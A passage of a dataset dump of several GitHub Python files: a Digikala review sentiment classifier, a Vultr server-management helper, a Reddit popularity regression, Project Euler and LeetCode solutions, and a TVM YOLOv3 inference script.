product with this id\")\r\n                return\r\n    else:\r\n        for i in range(0, number):\r\n            if (df['user_id'][i] == id):\r\n                count_all += 1\r\n                if (df['label'][i] == -1):\r\n                    count_neg += 1\r\n                elif (df['label'][i] == 0):\r\n                    count_neu += 1\r\n                else:\r\n                    count_pos += 1\r\n            if (i == number - 1 and count_all == 0):\r\n                print(\"there is no user with this id\")\r\n                return\r\n    text=str(\"negetive: \"+str((count_neg/count_all)*100)+\"%\"+\\\r\n                   \"\\n neutral: \"+str((count_neu/count_all)*100)+\"%\"+\\\r\n                   \"\\n posetive: \"+str((count_pos/count_all)*100)+\"%\"+\r\n                    \"\\n comment counts: \"+str(count_all))\r\n    rs_lbl['text']=text\r\n\r\ndef graphic():\r\n    window.geometry('500x103')\r\n    window.title(\"Welcome to LikeGeeks app\")\r\n    lbl.place(x=0,y=20)\r\n    txt.place(x=0,y=40)\r\n    btn.place(x=0,y=70)\r\n    rs_lbl.place(x=220,y=0)\r\n    check_btn1.place(x=0,y=0)\r\n    check_btn2.place(x=80,y=0)\r\n    window.lift()\r\n    window.mainloop()\r\ndef change_check_btn_state1():\r\n    var1.set(1)\r\n    var2.set(0)\r\ndef change_check_btn_state2():\r\n    var2.set(1)\r\n    var1.set(0)\r\n\r\n\r\ndata= pd.read_excel (r'Answer\\split_'+str(2)+'.xlsx')\r\n# tests()\r\ntemp=pd.DataFrame(data['label'])\r\ns=time.time()\r\nclean_train_reviews = []\r\nprint(\"cleaning train data\")\r\nfor i in range(2,60):\r\n    if(i==3):\r\n        continue\r\n    # print(\"cleaning\", i)\r\n    df= pd.read_excel (r'Answer\\split_'+str(i)+'.xlsx')\r\n    if i != 2:\r\n        temp1 = pd.DataFrame(df['label'])\r\n        temp=temp.append(temp1,ignore_index = True)\r\n    num_reviews = df[\"comment\"].size\r\n    for i in range( 0, num_reviews):\r\n        clean_train_reviews.append( remove_stopwords( str(df[\"comment\"][i] )))\r\n\r\nprint(\"feature extraction started\")\r\nfrom sklearn.feature_extraction.text import CountVectorizer\r\nvectorizer = CountVectorizer(analyzer = \"word\",\r\n                             tokenizer = None,\r\n                             preprocessor = None,\r\n                             stop_words = None,\r\n                             max_features = 5000)\r\ntrain_data_features = vectorizer.fit_transform(clean_train_reviews)\r\nprint(\"vector\",vectorizer)\r\nprint(\"train data feature\",train_data_features)\r\n# vocab = vectorizer.get_feature_names()\r\n# print(\"vocab\",vocab)\r\nfrom sklearn.ensemble import RandomForestClassifier\r\nprint(\"create classifier\")\r\nforest = RandomForestClassifier(n_estimators = 100)\r\n\r\nforest = forest.fit(train_data_features,temp['label'])\r\n\r\ny_test_lable = []\r\ny_test_user=[]\r\ny_test_product=[]\r\nclean_test_reviews = []\r\nprint(\"cleaning test data\")\r\nfor j in range (60,66):\r\n    test = pd.read_excel(r'Answer\\split_'+str(j)+'.xlsx')\r\n    # print(\"Cleaning test:\", j)\r\n\r\n    num_reviews = test[\"comment\"].size\r\n    for i in range(0,num_reviews):\r\n        clean_review = remove_stopwords( str(test[\"comment\"][i]) )\r\n        clean_test_reviews.append( clean_review )\r\n        y_test_lable.append(int(test['label'][i]))\r\n        y_test_product.append(int(test['product_id'][i]))\r\n        y_test_user.append(int(test['user_id'][i]))\r\n\r\ny_test_lable=numpy.array(y_test_lable)\r\nprint(\"predicting:\")\r\nprint(\"vec\",vectorizer)\r\ntest_data_features = vectorizer.transform(clean_test_reviews)\r\nprint(\"test feature\",test_data_features)\r\nresult = forest.predict(test_data_features)\r\n\r\nids={'product_id':y_test_product,\r\n     'user_id':y_test_user,\r\n     'label':result.tolist()}\r\nprint(\"save data in output.xlsx\")\r\noutput=pd.DataFrame(ids,columns=['product_id','user_id','label'])\r\nwriter=pd.ExcelWriter('output.xlsx')\r\noutput.to_excel(writer)\r\nwriter.save()\r\n\r\nprint(\"accuracy: \",accuracy_score(y_test_lable,result))\r\n\r\nshowdata={'y_Actual':y_test_lable.tolist(),\r\n          'y_Predicted':result.tolist()}\r\ndataset=pd.DataFrame(showdata, columns=['y_Actual','y_Predicted'])\r\nconfusion_matrix = pd.crosstab(dataset['y_Actual'], dataset['y_Predicted'], rownames=['Actual'], colnames=['Predicted'])\r\nsns.heatmap(confusion_matrix, annot=True)\r\nplt.show()\r\n\r\ne=time.time()\r\nprint(\"time:\",e-s)\r\nwindow = tk.Tk()\r\nbtn=tk.Button(window,text='Show',command=click,width=23,font=20)\r\nlbl=tk.Label(window,text='Enter id:',font=20)\r\ntxt=tk.Entry(window,width=24,font=20)\r\nrs_lbl=tk.Label(window,text=\"result will be shown here\",\r\n                            width=40,height=7,bg=\"yellow\",anchor='c',wraplength=280\r\n                            ,justify='center')\r\nvar1=tk.IntVar(value=1)\r\nvar2=tk.IntVar(value=0)\r\ncheck_btn1=tk.Checkbutton(window,text='product id',command=change_check_btn_state1,variable=var1)\r\ncheck_btn2=tk.Checkbutton(window,text='user id',command=change_check_btn_state2,variable=var2)\r\ngraphic()","repo_name":"hamed-RM/digikala-polarity","sub_path":"Polarity digikala/polarity main.py","file_name":"polarity main.py","file_ext":"py","file_size_in_byte":6589,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"34346729052","text":"import sys\nimport requests\nfrom traceback import format_exception\n\nfrom const import VULTR\n\ndef gen_url(api):\n    return '%s%s?api_key=%s' % (VULTR['API_ROOT'], api, VULTR['API_KEY'])\n\ndef ensure(f):\n    def wrap(*args, **kwargs):\n        while True:\n            try:\n                return f(*args, **kwargs)\n            except:\n                etype, value, tb = sys.exc_info()\n                print(''.join(format_exception(etype, value, tb)))\n    return wrap\n\n@ensure\ndef server_list():\n    url = gen_url('/v1/server/list')\n    r = requests.get(url, timeout=5)\n    if r.status_code != 200:\n        raise Exception(\"status_code error: %d, respond_body: %s\" % (r.status_code, r.text))\n    return r.json()\n\n@ensure\ndef server_create():\n    url = gen_url('/v1/server/create')\n    body = { 'DCID': 12, 'OSID': 164, 'VPSPLANID': 29, 'SNAPSHOTID': VULTR['SNAPSHOTID'], 'label': 'judge' }\n    r = requests.post(url, data=body, timeout=5)\n    if r.status_code != 200:\n        raise Exception(\"status_code error: %d, respond_body: %s\" % (r.status_code, r.text))\n    return r.json()\n\n@ensure\ndef server_destroy(subid):\n    url = gen_url('/v1/server/destroy')\n    body = { 'SUBID': subid }\n    r = requests.post(url, data=body, timeout=5)\n    return r.status_code","repo_name":"abcdabcd987/p2dv.in","sub_path":"elastic_tool/vultr.py","file_name":"vultr.py","file_ext":"py","file_size_in_byte":1255,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"78"}
+{"seq_id":"3923192199","text":"import json \nimport timeit\nimport math \nimport nltk\nimport csv\nimport textblob\n\nimport pandas as pd\nimport numpy as np\nimport seaborn as sns\nimport matplotlib.pyplot as plt \n\nfrom math import log, exp\nfrom numpy.linalg import inv\nfrom nltk.corpus import stopwords\nfrom nltk.stem import PorterStemmer\nfrom nltk.sentiment.vader import SentimentIntensityAnalyzer\n\nnltk.download('vader_lexicon')\nnltk.download('punkt')\nnltk.download('averaged_perceptron_tagger')\n\nstart = timeit.default_timer()\n\n# --------------------------------------------------------------------- #\n# FUNCTIONS \n# --------------------------------------------------------------------- #\n\n\ndef preprocess_data(data, top = 160, N=10000, n=1000, \n    pos_family = {\n    'noun' : ['NN','NNS','NNP','NNPS'],\n    'pron' : ['PRP','PRP$','WP','WP$'],\n    'verb' : ['VB','VBD','VBG','VBN','VBP','VBZ'],\n    'adj' :  ['JJ','JJR','JJS'],\n    'adv' : ['RB','RBR','RBS','WRB']\n    }\n    ):\n    \"\"\" preprocesses raw data\n\n    Arguments:\n        data:       (dict) raw data from json file\n        top:        (int)  top words \n        N:          (int)  training set size\n        n:          (int)  validation set size\n        pos_family: (dict) parts of speech type (nltk)\n\n    \"\"\"\n\n    # Instantiate variables\n    word_list = []\n    text_points = {}\n    controversiality, popularity_score = list(), list()\n    is_root, children = list(), list()\n    word_count, avg_word_len = list(), list()\n    text_len, log_text_len = list(), list()\n    avg_noun, avg_verb = list(), list()\n    avg_pron, avg_adv, avg_adj = list(), list(), list()\n    profanity = list()\n    i = 1\n\n    # Load profanity words csv\n    with open('profanity.csv', 'r') as f:\n        reader = csv.reader(f)\n        profanity_list = [w[0] for w in reader]\n\n    ps = PorterStemmer()\n\n    # start prepocessing loop\n    for data_point in data:\n        text = data_point['text']\n        processed_text = text.lower().split()\n        text_points[i] = processed_text \n\n        if i < N+1: \n            # this if statement makes sure to count top 160 words in the training set only.\n            word_list.extend(processed_text)\n\n        # list primary features\n        controversiality.append(data_point['controversiality'])\n        popularity_score.append(data_point['popularity_score'])\n        children.append(data_point['children'])\n        is_root.append(data_point['is_root'])\n\n        # list basic additional features\n        length = len(processed_text)\n        word_count.append(length)\n        avg_word_len.append(sum([len(word) for word in processed_text])/length)\n        text_len.append(len(text))\n        log_text_len.append(log(len(text)))\n\n        # list advanced additional features\n        avg_noun.append(count_word_type(text, 'noun', pos_family)/length)\n        avg_pron.append(count_word_type(text, 'pron', pos_family)/length)\n        avg_verb.append(count_word_type(text, 'verb', pos_family)/length)\n        avg_adv.append(count_word_type(text, 'adv', pos_family)/length)\n        avg_adj.append(count_word_type(text, 'adj', pos_family)/length)\n        profanity.append(len([ word for word in processed_text if ps.stem(word) in profanity_list]))\n\n        i += 1\n\n    # Count the occurence of each word in word list\n    word_dict = {}\n    for word in word_list:\n        try:\n            word_dict[word] += 1\n        except KeyError:\n            word_dict[word] = 1\n    \n    # Sort by most frequent to least frequent\n    sorted_word_dict = {k: v for k, v in sorted(word_dict.items(), reverse=True,key=lambda x: x[1])}\n\n    # Keep top words only\n    top_words = list({k : sorted_word_dict[k] for k in list(sorted_word_dict)[:top]})\n\n    np.savetxt('words.txt', top_words, fmt=\"%s\")\n\n    # create text matrix\n    X = create_text_matrix(text_points=text_points, top_words=top_words)\n    \n    # define other features as a DF \n    other_features = pd.DataFrame(\n        {'controversiality': controversiality,\n         'children': children,\n         'is_root': is_root,\n         'word_count': word_count,\n         'log_word_count': [log(x) for x in word_count],\n         'text_len': text_len,\n         'log_text_len': log_text_len,\n         'avg_word_len': avg_word_len,\n         'avg_noun': avg_noun,\n         'avg_pron': avg_pron,\n         'avg_verb': avg_verb,\n         'avg_adj': avg_adj,\n         'avg_adv': avg_adv,\n         'profanity': profanity\n          })\n\n    # add a column of ones for the intercept of the linear regression\n    ones = pd.DataFrame([1.0] * X.shape[0])\n    X = pd.concat([ones, X, other_features], axis=1)\n    X['is_root'] = X['is_root'].astype(int)\n\n    # define y \n    y = pd.DataFrame({'popularity_score': popularity_score})\n\n    # merge and save\n    preprocessed_data = pd.concat([y, X], axis=1)\n    preprocessed_data.to_csv('preprocessed_data.csv', sep=\",\", index=False)\n\n    return data_split(X, y, N, n)\n\n\n\ndef count_word_type(text_point, flag, pos_family):\n    \"\"\" Count words by type (verb, adj., adv., noun, pronoun)\n\n    Arguments:\n        text_point: (dict) text string\n        flag:       (str)  indicating wich pos family\n        pos_family: (dict) of parts of speech\n\n    \"\"\"\n\n    count = 0\n    try:\n        wiki = textblob.TextBlob(text_point)\n        for tup in wiki.tags:\n            ppo = list(tup)[1]\n            if ppo in pos_family[flag]:\n                count += 1\n    except:\n        pass\n    return count\n\n\n\ndef data_split(X, y, N=10000, n=1000):\n    \"\"\" split data into train, validation and test sets\n\n    Arguments \n        X: (DataFrame) preprocessed predictor variables \n        y: (DataFrame) variable to predict (popularity score) \n        N: (int) training set size\n        n: (int) validation set size\n\n    \"\"\"\n    return {'X_train': X.ix[:(N-1),:], \n            'X_val': X.ix[(N):(N+n-1),:], \n            'X_test': X.ix[(N+n):,:], \n            'y_train': y.ix[:(N-1)], \n            'y_val': y.ix[(N):(N+n-1)], \n            'y_test': y.ix[(N+n):]}\n\n    \n\ndef create_text_matrix(text_points, top_words):\n    \"\"\" creates the text matrix with most frequently occurring words \n\n    Arguments:\n        text_points: (dict) contains list of words in text for each data point\n        top_words:   (list) sorted list of most frequent words\n\n    \"\"\"\n\n    N = len(text_points)\n    X = np.empty((N,160))\n    X[:] = np.nan\n    i = 0\n    for top_word in top_words:\n        x_column = []\n        for phrase in text_points.values():\n            count = 0 \n            for word in phrase:\n                if word == top_word:\n                    count += 1\n            x_column.append(count)\n\n        X[:,i] = np.array(x_column).reshape((N,))\n        i += 1\n\n    # Adding the sum of top words as a feature\n    sum_top_words = np.sum(X, axis=1).reshape((N,1))\n\n    return pd.DataFrame(np.concatenate((X, sum_top_words),axis=1), columns=top_words+['sum_top_words'])\n\n\n\ndef mean_squared_error(y_true, y_pred):\n    \"\"\" returns the mean squared error between true and predicted values\n\n    Arguments:\n        y_pred: (ndarray) predicted values\n        y_true: (ndarray) true values\n\n    \"\"\"\n\n    return ((y_pred - y_true) ** 2).mean()\n\n\n\ndef closed_form(data, feature_set, name=None, test=False):\n    \"\"\" estimates weight and returns validation mse with the closed-form solution\n\n    Arguments:\n        data:        (dict)  of DataFrame with train, val. and test data\n        feature_set: (list)  of feature sets to include\n        name:        (str)   allows naming of experiements\n        test:        (bool)  make and evaluate prediction on test set  \n\n    \"\"\"\n    \n    X_train, X_val = data['X_train'][feature_set], data['X_val'][feature_set]\n    y_train, y_val = data['y_train'], data['y_val']\n\n    # start timer\n    start = timeit.default_timer()\n\n    # get weights\n    A = X_train.values.transpose().dot(X_train.values)\n    A_inv = inv(A)\n    B = X_train.values.transpose().dot(y_train.values)\n    w = A_inv.dot(B)\n\n    # stop timer\n    stop = timeit.default_timer()\n\n    # evaluate performance\n    mse_val = mean_squared_error(y_true=y_val.values, y_pred=X_val.values.dot(w))\n    mse_train = mean_squared_error(y_true=y_train.values, y_pred=X_train.values.dot(w))\n\n    if test is True:\n        X_test = data['X_test'][feature_set]\n        y_test = data['y_test']\n        mse_test = mean_squared_error(y_true=y_test.values, y_pred=X_test.values.dot(w))\n        output_test = \" | \"+str(round(mse_test,6))\n    else:\n        output_test = \"\"\n\n    # output run time and iteration\n    output = \"[CF] run time: \"+str(round(stop-start,4))+\" -- mse: \"+str(round(mse_train,6))+\" | \"+str(round(mse_val,6))+output_test\n\n    if name is None:\n        print(output)\n    else:\n        print(\"[\"+str(name)+\"]\"+output)\n\n    return mse_val\n\n\n                    \ndef gradient_descent(data, feature_set, w_0, beta, nu, k, tol, max_iter = 10, name=None, test=False):\n    \"\"\" estimates weight and returns validation mse with the gradient descent solution\n\n    Arguments:\n        Arguments:\n        data:        (dict)  of DataFrame with train, val. and test data\n        feature_set: (list)  of feature sets to include\n        w_0:         (ndarray)   initial weight\n        beta:        (float)     lr decay rate\n        nu:          (float)     initial learning rate\n        k:           (int)       after how many iterations the lr decreases\n        tol:         (float)     precision\n        max_iter:    (int)       max number of iterations\n        name:        (str)       allows naming of experiements  \n        test:        (bool)      make and evaluate prediction on test set\n\n    \"\"\"\n\n    X_train, X_val = data['X_train'][feature_set], data['X_val'][feature_set]\n    y_train, y_val = data['y_train'], data['y_val']\n\n    # start timer\n    start = timeit.default_timer()\n\n    w_old = w_0.copy()\n    diff = float('inf')\n    mse_train = list()\n    mse_val = list()\n\n    # while error > tol and i < max_iter is True:\n    for i in range(0, max_iter+1):\n        if diff < tol:\n            break\n\n        # compute learning rate\n        if i <= k:\n            beta = 0\n        lr = nu/(1+beta)\n\n        # update weights\n        A = X_train.values.transpose().dot(X_train.values)\n        B = X_train.values.transpose().dot(y_train.values)\n        C = A.transpose().dot(w_old)\n        w_new = w_old - 2*lr*(C - B)\n\n        # compute difference\n        diff = np.linalg.norm((w_new - w_old), 2)\n\n        # evaluate performance\n        mse_train.append(mean_squared_error(y_true=y_train.values, y_pred=X_train.values.dot(w_new)))\n        mse_val.append(mean_squared_error(y_true=y_val.values, y_pred=X_val.values.dot(w_new)))\n\n        # redefine weights for next the iteration\n        w_old = w_new.copy()\n        i += 1\n\n    # stop timer\n    stop = timeit.default_timer()\n\n    if test is True:\n        X_test = data['X_test'][feature_set]\n        y_test = data['y_test']\n        mse_test = mean_squared_error(y_true=y_test.values, y_pred=X_test.values.dot(w))\n        output_test = \" | \"+str(round(mse_test,6))\n    else:\n        output_test = \"\"\n \n    # output \n    output = \"[GD] run time: \"+str(round(stop-start,4))+\" -- iteration: \"+str(i)+\" -- converged: \"+str(diff < tol)+\" -- mse: \"+str(round(mse_train[i-1],6))+\" | \"+str(round(mse_val[i-1],6))+output_test\n\n    if name is None:\n        print(output)\n    else:\n        print(\"[\"+str(name)+\"]\"+output)\n\n    # plot result\n    plt.figure()\n    plt.plot(range(1,i+1), mse_train, label = 'training')\n    plt.plot(range(1,i+1), mse_val, label = 'validation')\n    plt.legend()\n    plt.yscale('linear')\n    plt.xlabel('iteration')\n    plt.ylabel('MSE')\n    plt.savefig('MSE')\n    plt.grid()\n    plt.show()\n\n    return mse_val[len(mse_val)-1]\n\n\ndef linear_regression(data, feature_set, method='cf', \n    w_0=None, beta=None, nu=None, k=None, tol=None, max_iter=None, name=None, test=False):\n    \"\"\" performs linear regression\n\n    Arguments:\n        data:        (dict)      contains all the train, validation, test data\n        feature_set: (list)      predictor variables to use\n        w_0:         (ndarray)   initial weight\n        beta:        (float)     lr decay rate\n        nu:          (float)     initial learning rate\n        k:           (int)       after how many iterations the lr decreases\n        tol:         (float)     precision\n        max_iter:    (int)       max number of iterations\n        name:        (str)       name of experiment\n        test:        (bool)      make and evaluate prediction on test set\n\n    \"\"\"\n\n    if method is 'cf':\n        mse_val = closed_form(data, feature_set, name, test)\n    elif method is 'gd':\n        mse_val = gradient_descent(data, feature_set, \n            w_0, beta, nu, k, tol, max_iter, name, test)\n\n    return mse_val\n\n\ndef univariable_analysis(data, baseline, feature_list):\n    \"\"\" performs univariable analysis and returns list of features that reduce validation MSE\n\n    Arguments:\n        data:        (dict)      contains all the train, validation, test data\n        baseline:    (list)      baseline features (we used intercept, X=1)\n        feature_list:(list)      predictor variables to test individually\n\n    \"\"\"\n    \n    # initial mse\n    mse0 = linear_regression(data, baseline, method='cf', name='baseline')\n\n    # instantiate list of good features\n    good_features = list()\n\n    for feature in feature_list:\n        mse_val = linear_regression(data, baseline + [feature], \n            method='cf', name=feature)\n        # add feature to good feature if it improves mse0\n        if mse_val < mse0:\n            good_features.append(feature)\n\n    return good_features\n\n\ndef forward_selection(data, baseline, additional_features, max_features=2):\n    \"\"\" performs a stepwise forward selection procedure\n\n    Arguments:\n        data:                (dict) train, validation, test data\n        baseline:            (list) baseline features\n        additional_features :(list) candidates for inclusion\n\n    \"\"\"\n\n    mse0 = linear_regression(data, baseline, method='cf')\n\n    # dict of mse val\n    mse_val = {}\n\n    for i in range(max_features):\n        for feature in additional_features:\n            if feature not in baseline:\n                mse_val[feature] = linear_regression(data, baseline + [feature], method='cf', name=feature)\n\n        # which feature has the smalledt mse_val \n        new_feature = min(mse_val, key=lambda k: mse_val[k])\n\n        # include in the model if improves the performance\n        if mse_val[new_feature] < mse0:\n            baseline = baseline + [new_feature]\n            mse0 = mse_val[new_feature]\n\n    return baseline\n\n\n# --------------------------------------------------------------------- #\n# EXPERIMENTS \n# --------------------------------------------------------------------- #\n\n# Parameter definition\nN = 10000 # training set size\nn = 1000 # validation set size\ntop = 160 # number of top words to extract\nperform_preprocessing = False\n    \n# data\nif perform_preprocessing is True:\n    # Import raw data\n    with open(\"proj1_data.json\") as fp:\n        data = json.load(fp)\n    # preprocess\n    data = preprocess_data(data, top, N, n)\n\nif perform_preprocessing is False:\n    # upload already preprocessed data\n    data = pd.read_csv(\"preprocessed_data.csv\", sep=',')\n    n_rows = data.shape[0]\n    X = data.drop(columns=['popularity_score'])\n    y = pd.DataFrame(data['popularity_score'].values.reshape((n_rows,1)))\n    data = data_split(X, y, N, n)\n\n\nprint(\"\")\n# Experiment A - comparing CF and GD algorithms\n# ----------------------------------------------\nprint(\"EXPERIMENT A\")\nprint(\"------------\")\n\nbaseline0 = ['controversiality', 'children', 'is_root']\nw_0 = np.zeros((len(baseline0),1), dtype=np.float32)\n# w_0 = np.ones((len(feature_set),1), dtype=np.float32)\n# w_0 = np.random.uniform(-1,1,(len(feature_set),1))\nbeta = 1\nnu = 0.00005 \nk = 2000\ntol = 1e-7\nmax_iter = 2000\n\nlinear_regression(data, baseline0, method='cf')\nlinear_regression(data, baseline0, method='gd', w_0=w_0, beta=beta, nu=nu, k=k, tol=tol, max_iter=max_iter)\nprint(\"\")\n\n\n# Experiment B - comparing 'no text' vs top 60 vs top 160\n# --------------------------------------------------------\nprint(\"EXPERIMENT B\")\nprint(\"------------\")\n\nall_features = list(data['X_train'].columns.values)\nfeature_set1 = all_features[0:61] + baseline0\nfeature_set2 = all_features[0:161] + baseline0\n\nlinear_regression(data, baseline0, method='cf', name='NO TEXT')\nlinear_regression(data, feature_set1, method='cf', name='TOP 60')\nlinear_regression(data, feature_set2, method='cf', name='TOP 160')\nprint(\"\")\n\nbaseline = feature_set1\n\n# Experiment C - Univariable analysis of basic additional features\n# -----------------------------------------------------------------\nprint(\"EXPERIMENT C\")\nprint(\"------------\")\n\nadditional_features1 = ['text_len', 'word_count','log_text_len', \n                        'log_word_count','sum_top_words','avg_word_len']\n\ngood_features1 = univariable_analysis(data, baseline, additional_features1) \nprint(\"\")\nprint(\"The following features improve the baseline on the validation set:\")\nprint(good_features1)   \nprint(\"\")\n\n# Experiment D - Univariable analysis of Advanced additional features\n# --------------------------------------------------------------------\nprint(\"EXPERIMENT D\")\nprint(\"------------\")\n\nadditional_features2 = ['avg_pron','avg_adv','avg_adj',\n                        'avg_noun','avg_verb','profanity']\n\ngood_features2 = univariable_analysis(data, baseline, additional_features2) \nprint(\"\")\nprint(\"The following features improve the baseline on the validation set:\")\nprint(good_features2)   \nprint(\"\")\n\n\n# Experiment E - Combinations\n# ------------------------------\nprint(\"EXPERIMENT E\")\nprint(\"------------\")\n\nbest_model = forward_selection(data, baseline, good_features1 + good_features2)\nprint(\"\")\nprint(\"The 2 features that show the best improvement are:\")\nprint(best_model)   \nprint(\"\")\n\n\n# Final experiment - best model on test set\n# --------------------------------------------\nprint(\"FINAL RESULT\")\nprint(\"--------------\")\n\nlinear_regression(data, baseline0, method='cf', name='NO TEXT', test=True)\nlinear_regression(data, feature_set1, method='cf', name='TOP 60', test=True)\nlinear_regression(data, feature_set2, method='cf', name='TOP 160', test=True)\nlinear_regression(data, best_model, method='cf', name='BEST MODEL', test=True)\nprint(\"\")\n\n# Correlation Analysis\n# ----------------------\ny_train = pd.DataFrame(data['y_train'].values, columns=['popularity_score'])\ndf = pd.concat([y_train, data['X_train']], axis=1)\ncorr = df[['popularity_score'] + all_features[161:]].corr()\nplt.figure(figsize = (20,10))\nax = sns.heatmap(corr, annot=True,cmap=\"YlGnBu\", linewidths=.5)\nplt.savefig('corr_matrix')\nplt.show()\n\nstop = timeit.default_timer()\nprint('Total run time: '+ str(round(stop-start,6)))\n\n\n\n\n","repo_name":"memalette/LinRegReddit","sub_path":"linreg_reddit.py","file_name":"linreg_reddit.py","file_ext":"py","file_size_in_byte":18729,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"71079980732","text":"#!/usr/bin/python3\n# -*- coding: utf-8 -*-\n################################################################################\n# Euler 23\n# Non-abundant sums\n# Author: Eugene Kolo - 2014\n# Contact: www.eugenekolo.com\n\n# http://projecteuler.net/problem=23\n################################################################################\ndef solve():\n    from eulerlib import sumDivisors\n\n    LIMIT = 28123\n    abundants = []\n    # Create a list of all abundant numbers below LIMIT\n    for n in range(1,LIMIT+1):\n        if (sumDivisors(n) > n):\n            abundants.append(n)\n\n    # Get the total of all numbers from 1 to LIMIT\n    total = sum(range(1,LIMIT+1))\n\n    # Subtract all abundant sums to get the non-abundant sums (Set theory)\n    subs = {} # Make use of a hash for O(1) lookup\n    for i in range(0,len(abundants)):\n        for j in range(i,len(abundants)):\n            mysum = abundants[i] + abundants[j]\n            if (mysum > LIMIT):\n                break # Every addition past this will be >LIMIT\n            if (mysum not in subs): # Not previously subtracted\n                total -= mysum\n                subs[mysum] = 1\n            if (abundants[i] > LIMIT/2): \n                break # Every addition past this will be >LIMIT\n    return total\n\nif __name__ == '__main__':\n    print(solve())\n","repo_name":"eugenekolo/project-euler","sub_path":"euler023.py","file_name":"euler023.py","file_ext":"py","file_size_in_byte":1307,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"78"}
+{"seq_id":"27856619784","text":"# https://leetcode.com/problems/validate-stack-sequences/\n# Time complexity: O(N)\n\n\nclass Solution:  # Implement problem\n    def validateStackSequences(self, pushed: List[int], popped: List[int]) -> bool:\n        stack = []\n        pop_index = 0\n        for num in pushed:\n            stack.append(num)\n            while stack and pop_index < len(popped) and stack[-1] == popped[pop_index]:\n                stack.pop()\n                pop_index += 1\n        return pop_index == len(popped)\n","repo_name":"thecode00/Algorithm-Problem-Solve","sub_path":"Leetcode/Python/946. Validate Stack Sequences/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":490,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"11460418802","text":"import os, sys\nimport argparse\nimport numpy as np\nimport time\n\nimport cv2\nimport pyxir\nimport tvm\nfrom tvm.contrib import graph_executor\n\nFILE_DIR = os.path.dirname(os.path.abspath(__file__))\n\nif not os.path.exists('/home/root/tensorflow-yolov3/'):\n    raise ValueError(\"'tensorflow-yolov3' repo is required for running this example\\n\"\\\n                     \"Please run the setup script: `bash setup_custom_yolov3_zynq.sh`\")\n    \n###########################################################\n# Define utility functions\n###########################################################\n\ndef transform_image(image):\n    \"\"\"Data preprocessing function\"\"\"\n    image = cv2.cvtColor(image, cv2.COLOR_BGR2RGB).astype(np.float32)\n\n    ih, iw    = (320, 320)\n    h,  w, _  = image.shape\n\n    scale = min(iw/w, ih/h)\n    nw, nh  = int(scale * w), int(scale * h)\n    image_resized = cv2.resize(image, (nw, nh))\n\n    image_padded = np.full(shape=[ih, iw, 3], fill_value=128.0)\n    dw, dh = (iw - nw) // 2, (ih-nh) // 2\n    image_padded[dh:nh+dh, dw:nw+dw, :] = image_resized\n    image_padded = image_padded / 255.\n\n    return image_padded\n\n\n###########################################################\n# Main function\n###########################################################\n\ndef run(file_path, shape_dict, iterations):\n    # IMAGE PRE-PROCESSING\n    img_path = \"/home/root/tensorflow-yolov3/docs/images/road.jpeg\"\n    original_image = cv2.imread(img_path)\n    image = transform_image(original_image) \n    image = np.array(image)[np.newaxis, :]\n\n    inputs = {}\n    inputs[list(shape_dict.keys())[0]] = image\n\n    # load the pre-compiled module into memory\n    print (\"Loading the compiled model ...\")\n    lib = tvm.runtime.load_module(file_path)\n    module = graph_executor.GraphModule(lib[\"default\"](tvm.cpu()))\n    module.set_input(**inputs)\n\n    if '/home/root/tensorflow-yolov3' not in sys.path:\n        sys.path.append('/home/root/tensorflow-yolov3/')\n    import core.utils as utils\n    num_classes = 80\n    input_size  = 320\n\n    print (\"Running the compiled model ...\")\n    for i in range(iterations):\n        # RUN \n        start = time.time()\n        module.run()\n        stop = time.time()\n        inference_time = np.round((stop - start) * 1000, 2)\n\n        # POST PROCESSING\n        res  = module.get_output(0).asnumpy()\n        pred_bbox   = res.reshape(-1,85)\n        original_image_size = original_image.shape[:2]\n        bboxes = utils.postprocess_boxes(pred_bbox, original_image_size, input_size, 0.3)\n        bboxes = utils.nms(bboxes, 0.45, method='nms')\n        image = utils.draw_bbox(original_image, bboxes)\n        cv2.imwrite(\"./output.png\", (image))\n        print('========================================')\n        print('Detection output stored in ./output.png')\n        print('========================================')\n        print('Inference time: ' + str(inference_time) + \" ms\")\n        print('========================================')\n       \n\n###############################################################################\n# RUN CUSTOM YOLOV3\n# \n# Before running the custom YoloV3 model, you have to compile the model\n# using the notebook in examples/external_yolov3_tutorial.ipynb notebook\n#\n# If the model is compiled for an edge device (DPUCZDX8G-zcu104, DPUCZDX8G-zcu102,\n#   DPUCZDX8G-kv260, DPUCVDX8G) the notebook generates an output file name \"tvm_dpu_cpu.so\"\n# Once you setup your edge device, you could copy the compiled file to your\n#   acceleration device and run the model with the following variables:\n#\n# Parameter settings for the run script:\n# -f           : Path to the exported TVM compiled model (tvm_dpu_cpu.so in the example)\n# -p           : Specify if the TF (Tensorflow) or ONNX model was used for compilation\n# --iterations : The number of iterations to run the model\n#\n# example:\n# ./run_external_yolov3.py -f /PATH_TO_DIR/tvm_dpu_cpu.so -p TF --iterations 1\n#\n##############################################################################\n \n    \nif __name__ == \"__main__\":\n    parser = argparse.ArgumentParser()\n    parser.add_argument(\"-f\", help=\"Path to TVM library file (.so)\", default=FILE_DIR)\n    parser.add_argument(\"--iterations\", help=\"The number of iterations to run.\", default=1, type=int)\n    parser.add_argument(\"-p\", help=\"The input model framework (TF, ONNX)\", default=\"TF\", type=str)\n    args = parser.parse_args()\n    file_path = args.f if os.path.isabs(args.f) else os.path.join(os.getcwd(), args.f)\n    iterations = args.iterations\n    input_name = 'input/input_data:0' if args.p == \"ONNX\" else 'input/input_data'\n    shape_dict = {input_name: [1, 320, 320, 3]}\n    run(file_path, shape_dict, iterations)\n","repo_name":"Xilinx/Vitis-AI","sub_path":"third_party/tvm/examples/run_external_yolov3.py","file_name":"run_external_yolov3.py","file_ext":"py","file_size_in_byte":4671,"program_lang":"python","lang":"en","doc_type":"code","stars":1266,"dataset":"github-code","pt":"78"}
